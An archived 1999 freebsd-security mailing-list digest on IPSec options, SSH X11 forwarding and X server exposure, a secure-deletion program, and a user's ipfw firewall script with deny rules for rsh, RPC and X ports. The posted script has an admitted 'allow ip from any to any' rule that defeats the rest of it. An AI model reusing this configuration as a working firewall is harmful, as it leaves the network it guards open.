1999 19:19:31 +1000 Date: Sat, 26 Jun 1999 19:19:29 +1000 (EST) From: Nicholas Brawn To: freebsd-security@freebsd.org Subject: IPSec options for *BSD Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Apart from KAME (www.kame.net) what else is available on *BSD to enable IPSec functionality? Cheers, Nick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jun 26 4:12:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id A83F114DA5 for ; Sat, 26 Jun 1999 04:12:51 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id HAA00350; Sat, 26 Jun 1999 07:12:37 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Sat, 26 Jun 1999 07:12:37 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Mark Newton Cc: "Jung, Michael" , security@FreeBSD.ORG Subject: Re: X and SSH In-Reply-To: <199906241520.AAA25556@atdot.dotat.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 25 Jun 1999, Mark Newton wrote: > Jung, Michael wrote: > > > I have been reading these threads and unless I missed something > > this has not seen this addressed. Suppose you use ssh, tterm etc to > > securely connect to a host. Once on the host you want to export your > > display back to a client so you can bring up a X application. How does > > one have the X session encrypted? > > ssh does this for you: It automatically sets up your $DISPLAY to > point to a tunnel passed back across the encrypted session. All > X11 traffic is encrypted as a result (unless you override the > $DISPLAY setting by manually setting it or passing a -display > parameter to an X client). > > You can get a similar effect by running: > > ssh -R 6009:localhost:6000 foo.bar.com > > ... and manually setting your $DISPLAY to localhost:9.0 when you > have successfully logged in to it. You never need to do this manually, > though, because ssh configures X11 forwarding by default. Actually, that isn't quite the same. SSH speaks a little bit of the X protocol (hence being unable to get X support without Xlib on machines you build it on), and allocates new random cookies in your .Xauthority files on the remote machines, meaning that only the correct user on the remote end (or a privileged user) has access to your display. This protects you in the event that you xhost :0, as many people do. Similarly, it makes X programs not require a copy of your local cookie, if you have one (running xdm), so you can effectively revoke display access after you sever the X connection. I personally like to run incoming tunneled X sessions from under-trusted hosts in Xnest, but maybe that's just me... :-) Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ Safeport Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jun 26 5:10:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from megaweapon.zigg.com (megaweapon.zigg.com [206.114.60.8]) by hub.freebsd.org (Postfix) with ESMTP id A45AE14D8D for ; Sat, 26 Jun 1999 05:10:12 -0700 (PDT) (envelope-from matt@zigg.com) Received: from localhost (matt@localhost) by megaweapon.zigg.com (8.9.3/8.9.3) with ESMTP id IAA03584; Sat, 26 Jun 1999 08:10:04 -0400 (EDT) (envelope-from matt@zigg.com) Date: Sat, 26 Jun 1999 08:10:03 -0400 (EDT) From: Matt Behrens To: Nicholas Brawn Cc: freebsd-security@FreeBSD.ORG Subject: Re: IPSec options for *BSD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 26 Jun 1999, Nicholas Brawn wrote: : Apart from KAME (www.kame.net) what else is available on *BSD to enable : IPSec functionality? Try Pierre Beyssac's tunip/pipsecd. You just need OpenSSL. It does not yet, AFAIK, support any of the key exchange protocols yet. It's basically a usermode program reminiscent of ppp. Last time I checked, it was available at . Matt Behrens Owner/Administrator, zigg.com Chief Engineer, Nameless IRC Network To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jun 26 7:35:43 1999 Delivered-To: freebsd-security@freebsd.org Received: from alfik.ms.mff.cuni.cz (alfik.ms.mff.cuni.cz [195.113.19.71]) by hub.freebsd.org (Postfix) with ESMTP id 182AB14D8A for ; Sat, 26 Jun 1999 07:35:40 -0700 (PDT) (envelope-from mencl@nenya.ms.mff.cuni.cz) Received: from nenya.ms.mff.cuni.cz by alfik.ms.mff.cuni.cz; (8.8.8/v1.00/19990210.0854) id QAA01035; Sat, 26 Jun 1999 16:35:27 +0200 (MET DST) Received: from localhost by nenya.ms.mff.cuni.cz (SMI-8.6/SMI-SVR4) id QAA24460; Sat, 26 Jun 1999 16:30:56 +0200 Date: Sat, 26 Jun 1999 16:30:56 +0200 (MET DST) From: "Vladimir Mencl, MK, susSED" X-Sender: mencl@nenya To: security@FreeBSD.ORG Cc: Robert Watson Subject: X security (was Re: X and SSH) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 26 Jun 1999, Robert Watson wrote: ... > > I personally like to run incoming tunneled X sessions from under-trusted > hosts in Xnest, but maybe that's just me... :-) Does it give more security? Of course, if you separate your X applications (like netscape) from the untrusted connections, it prevents attackers from tangling i.e. with your netscape (and issueing an saveAs command, for example). But in case the forwarding host is corrupted and the forwarding channel misused, does it give you enough protection? In documentation of remote control of netscape via X display, it says: (http://home.netscape.com/newsref/std/x-remote.html) :: It is important (in general) that everyone be aware of the security :: risks associated with allowing unlimited access to your X server. :: Regardless of whether you use Netscape Navigator, allowing arbitrary :: users and hosts access to your X server is a gaping security hole. If :: hostile forces can connect to your server, it is trivially easy for :: them to execute arbitrary shell commands as you, read and write any of :: your files, and watch every character you type. Where is the hole? And is it same for Xnest? I don't know how can access to X server be misused, but I guess access to Xnest could be misused too. Only it might be a bit more difficult. Vladimir Mencl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jun 26 14:54:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from alice.gba.oz.au (gba-254.tmx.com.au [203.9.155.254]) by hub.freebsd.org (Postfix) with SMTP id 753AB151BC for ; Sat, 26 Jun 1999 14:54:05 -0700 (PDT) (envelope-from gjb@acm.org) Received: (qmail 8025 invoked by uid 1001); 27 Jun 1999 07:50:27 +1000 Message-ID: <19990626215027.8024.qmail@alice.gba.oz.au> X-Posted-By: GBA-Post 1.03 20-Sep-1998 X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 Date: Sun, 27 Jun 1999 07:50:26 +1000 From: Greg Black To: Wes Peters Cc: "Crist J. Clark" , freebsd-security@FreeBSD.ORG Subject: Re: Secure Deletion References: <199906250212.WAA07810@cc942873-a.ewndsr1.nj.home.com> <19990625204513.4139.qmail@alice.gba.oz.au> <3773FF9A.6775458D@softweyr.com> In-reply-to: <3773FF9A.6775458D@softweyr.com> of Fri, 25 Jun 1999 16:15:54 CST Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Wes Peters writes: > > 3. newfs the disks and fill them with 0x55 bytes > > 4. repeat step 3, using 0xAA then repeat step 3 > > Oh good grief! If you're going to use the obliterate program I just > mailed out, be sure to edit lines 82 and 90 and change the byte > values to 0xaa and 0x55, because 0xa and 0x5 aren't going to cut > it. ;^) Also note that, if there is a concern with some of the data still exisiting in disk blocks of now deleted files, it's still necessary to apply this overwrite to the whole disk partition. -- Greg Black -- or Fight censorship in Australia: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jun 26 14:54:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from alice.gba.oz.au (gba-254.tmx.com.au [203.9.155.254]) by hub.freebsd.org (Postfix) with SMTP id 453D3151B0 for ; Sat, 26 Jun 1999 14:54:05 -0700 (PDT) (envelope-from gjb-freebsd@gba.oz.au) Received: (qmail 7900 invoked by uid 1001); 27 Jun 1999 07:34:26 +1000 Message-ID: <19990626213426.7899.qmail@alice.gba.oz.au> X-Posted-By: GBA-Post 1.03 20-Sep-1998 X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 Date: Sun, 27 Jun 1999 07:34:25 +1000 From: Greg Black To: Wes Peters Cc: cjclark@home.com, FreeBSD Security Subject: Re: Secure Deletion References: <199906250212.WAA07810@cc942873-a.ewndsr1.nj.home.com> <3773F67A.CC9B6215@softweyr.com> In-reply-to: <3773F67A.CC9B6215@softweyr.com> of Fri, 25 Jun 1999 15:36:58 CST Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Wes Peters writes: > * Obliterate - a simple program to obliterate file contents. I note that the error in the posted program with the size of the overwrite bit patterns was addressed in a follow-up. However, there is another issue that makes it a "bad" program: > void > obliterate(char *fname) [...] > int > main(int argc, char *argv[]) > { > while (--argc) > { > obliterate(argv[argc]); > } > > return 0; > } Given that there is a bunch of error conditions that are checked for and which may cause the program to abort, surely making it report success on exit, regardless of what actually happened, is a Bad Thing? It would be trivial to make obliterate() return an int (e.g., 1 for an error and 0 for success). This would then give us a main() like this (with a refinement to process the arguments in the order given rather than backwards, because I don't like to surprise people): int main(int argc, char **argv) { int status = 0; while (--argc) status |= obliterate(*++argv); return status; } Disclaimer: I haven't compiled or tested the program and I have not reviewed it thoroughly. These comments are from a cursory read. -- Greg Black -- or Fight censorship in Australia: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jun 26 19: 4:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from atlas.topquark.org (drwho.xnet.com [205.243.140.183]) by hub.freebsd.org (Postfix) with ESMTP id 121CF14D30 for ; Sat, 26 Jun 1999 19:04:04 -0700 (PDT) (envelope-from drwho@xnet.com) Received: (from drwho@localhost) by atlas.topquark.org (8.9.3/8.9.3) id VAA02348 for freebsd-security@freebsd.org; Sat, 26 Jun 1999 21:04:02 -0500 (CDT) Date: Sat, 26 Jun 1999 21:04:02 -0500 From: Michael Maxwell To: freebsd-security@freebsd.org Subject: firewalling problem. Message-ID: <19990626210402.B1580@atlas.topquark.org> Mail-Followup-To: freebsd-security@freebsd.org Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="k1lZvvs/B4yU6o8G" X-Mailer: Mutt 0.95.4i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --k1lZvvs/B4yU6o8G Content-Type: text/plain; charset=us-ascii I have attached my /etc/rc.firewall as it currently is... please have a look for more info: Problem: I cannot allow my local net machines to talk outside to the net and still have a useful firewall at the same time. The rule that allows the local hosts to talk outside completely defeats the purpose of having any OTHER rules in the first place (ipfw allow ip from any to any). I have tried restricting the first "any" to :, but this also does not work. Any help I can get on this would be VERY much appreciated. Reading the docs doesn't help much at all, and all the examples I've looked at on the net are of little help on this one, too... It took me two weeks just to get this far... Thanks again... -- Michael Maxwell | http://www.xnet.com/~drwho/ -- NATO: Now that you've destroyed Serbia, who you gonna kill next? -- --k1lZvvs/B4yU6o8G Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="rc.firewall" ############ # Setup system for firewall service. # $Id: rc.firewall,v 1.19.2.1 1999/02/10 18:08:38 jkh Exp $ # Suck in the configuration variables. if [ -f /etc/defaults/rc.conf ]; then . /etc/defaults/rc.conf elif [ -f /etc/rc.conf ]; then . /etc/rc.conf fi if [ "x$1" != "x" ]; then firewall_type=$1 fi ############ # Set quiet mode if requested if [ "x$firewall_quiet" = "xYES" ]; then fwcmd="/sbin/ipfw -q" else fwcmd="/sbin/ipfw" fi ############ # Flush out the list before we begin. $fwcmd -f flush ############ # These rules are required for using natd. All packets are passed to # natd before they encounter your remaining rules. The firewall rules # will then be run again on each packet after translation by natd, # minus any divert rules (see natd(8)). $fwcmd add divert natd all from any to any via ppp0 ############ # If you just configured ipfw in the kernel as a tool to solve network # problems or you just want to disallow some particular kinds of traffic # they you will want to change the default policy to open. You can also # do this as your only action by setting the firewall_type to ``open''. # $fwcmd add 65000 pass all from any to any ############ # Only in rare cases do you want to change these rules $fwcmd add 100 pass all from any to any via lo0 $fwcmd add 200 deny all from any to 127.0.0.0/8 if [ "${firewall_type}" = "simple" ]; then ############ # This is a prototype setup for a simple firewall. Configure this machine # as a named server and ntp server, and point all the machines on the inside # at this machine for those services. ############ # set these to your outside interface network and netmask and ip oif="ppp0" onet="205.243.140.0" omask="255.255.255.0" oip="205.243.140.183" # set these to your inside interface network and netmask and ip iif="xl0" inet="192.168.16.0" imask="255.255.255.0" iip="192.168.16.1" # Some of our local hosts (used for redirects, etc) zeus="192.168.16.3" xnetdnsa="198.147.221.34" xnetdnsb="198.147.221.35" ### This is the problem. Without this, nothing can talk out from the inside ### network. But this defeats the purpose of everything else in this file. ### The "add allow ip from : to any (etc...) does NOT work. # Allow inside hosts to talk out $fwcmd add 110 allow ip from any to any # Stop spoofing $fwcmd add deny all from ${inet}:${imask} to any in via ${oif} $fwcmd add deny all from ${onet}:${omask} to any in via ${iif} # Stop RFC1918 nets on the outside interface $fwcmd add deny all from 192.168.0.0:255.255.0.0 to any via ${oif} $fwcmd add deny all from any to 192.168.0.0:255.255.0.0 via ${oif} $fwcmd add deny all from 172.16.0.0:255.240.0.0 to any via ${oif} $fwcmd add deny all from any to 172.16.0.0:255.240.0.0 via ${oif} $fwcmd add deny all from 10.0.0.0:255.0.0.0 to any via ${oif} $fwcmd add deny all from any to 10.0.0.0:255.0.0.0 via ${oif} # Allow TCP through if setup succeeded $fwcmd add pass tcp from any to any established # Allow setup of incoming email $fwcmd add allow tcp from any to ${oip} 25 setup # Allow access to our DNS $fwcmd add pass tcp from ${xnetdnsa} to ${oip} 53 setup $fwcmd add pass tcp from ${xnetdnsb} to ${oip} 53 setup # Reject&Log all setup of incoming connections from the outside $fwcmd add deny log tcp from any to any in via ${oif} setup # Allow setup of any other TCP connection $fwcmd add pass tcp from any to any setup # Allow DNS queries out in the world $fwcmd add pass udp from any 53 to ${oip} $fwcmd add pass udp from ${oip} to any 53 # Allow NTP queries out in the world $fwcmd add pass udp from any 123 to ${oip} $fwcmd add pass udp from ${oip} to any 123 # Everything else is denied as default. # # Deny any connections to port 53 (DNS) *except* our secondary DNS # $fwcmd add deny tcp from any to any 53 setup # $fwcmd add allow tcp from ${xnetdnsa} to ${oip} 53 setup # $fwcmd add allow tcp from ${xnetdnsb} to ${oip} 53 setup # # # Block misc security holes # $fwcmd add deny log tcp from any to any 69 setup # $fwcmd add deny log tcp from any to any 87 setup # $fwcmd add deny log tcp from any to any 111 via ${oif} # $fwcmd add deny log tcp from any to any 2049 via ${oif} # $fwcmd add deny log tcp from any to any 512-514 via ${oif} # $fwcmd add deny log tcp from any to any 515 via ${oif} # $fwcmd add deny log tcp from any to any 540 via ${oif} # $fwcmd add deny log tcp from any to any 2000 via ${oif} # $fwcmd add deny log tcp from any to any 6000-6063 via ${oif} # # Use this for our inbound telnet redirect to zeus $fwcmd add 155 allow tcp from any to ${zeus} 23 via ${oif} ##################################################################### ### UDP SPECIFIC ### We don't want to allow any UDP traffic from outside ### except for on port 123 (ntp) ##################################################################### $fwcmd add deny log udp from any to any via ${oif} $fwcmd add allow udp from any to any 123 fi --k1lZvvs/B4yU6o8G-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jun 26 19:20:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from atdot.dotat.org (atdot.dotat.org [150.101.89.3]) by hub.freebsd.org (Postfix) with ESMTP id 9230814EB7 for ; Sat, 26 Jun 1999 19:20:42 -0700 (PDT) (envelope-from newton@atdot.dotat.org) Received: (from newton@localhost) by atdot.dotat.org (8.9.3/8.7) id LAA42821; Sun, 27 Jun 1999 11:48:51 +0930 (CST) From: Mark Newton Message-Id: <199906270218.LAA42821@atdot.dotat.org> Subject: Re: firewalling problem. To: drwho@xnet.com (Michael Maxwell) Date: Sun, 27 Jun 1999 11:48:51 +0930 (CST) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <19990626210402.B1580@atlas.topquark.org> from "Michael Maxwell" at Jun 26, 99 09:04:02 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Michael Maxwell wrote: > Problem: > I cannot allow my local net machines to talk outside to the net and still > have a useful firewall at the same time. The rule that allows the local > hosts to talk outside completely defeats the purpose of having any OTHER > rules in the first place (ipfw allow ip from any to any). I have tried > restricting the first "any" to :, but this also does not > work. Read up the manpage for the "established" keyword. More generally, run out and buy a copy of "Building Internet Firewalls" by Bellovin and Cheswick. - mark -------------------------------------------------------------------- I tried an internal modem, newton@atdot.dotat.org but it hurt when I walked. Mark Newton ----- Voice: +61-4-1620-2223 ------------- Fax: +61-8-82231777 ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jun 26 23: 7:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from obie.softweyr.com (unknown [204.68.178.33]) by hub.freebsd.org (Postfix) with ESMTP id 61A1D14EE0 for ; Sat, 26 Jun 1999 23:07:30 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from softweyr.com (homer.softweyr.com [204.68.178.39]) by obie.softweyr.com (8.8.8/8.8.8) with ESMTP id AAA20675; Sun, 27 Jun 1999 00:07:19 -0600 (MDT) (envelope-from wes@softweyr.com) Message-ID: <3775BF96.7C5E11BD@softweyr.com> Date: Sun, 27 Jun 1999 00:07:18 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Greg Black Cc: cjclark@home.com, FreeBSD Security Subject: Re: Secure Deletion References: <199906250212.WAA07810@cc942873-a.ewndsr1.nj.home.com> <3773F67A.CC9B6215@softweyr.com> <19990626213426.7899.qmail@alice.gba.oz.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Greg Black wrote: > > Given that there is a bunch of error conditions that are checked > for and which may cause the program to abort, surely making it > report success on exit, regardless of what actually happened, is > a Bad Thing? > > It would be trivial to make obliterate() return an int (e.g., 1 > for an error and 0 for success). This would then give us a > main() like this (with a refinement to process the arguments in > the order given rather than backwards, because I don't like to > surprise people): Yes, that would be a good thing to do. Whaddya expect for a program written while editing a mail message? ;^) You should've actually fixed the program and added yourself into the comments somewhere. Maybe I'll do it tomorrow. Thanks for the tips! -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.softweyr.com/~softweyr wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message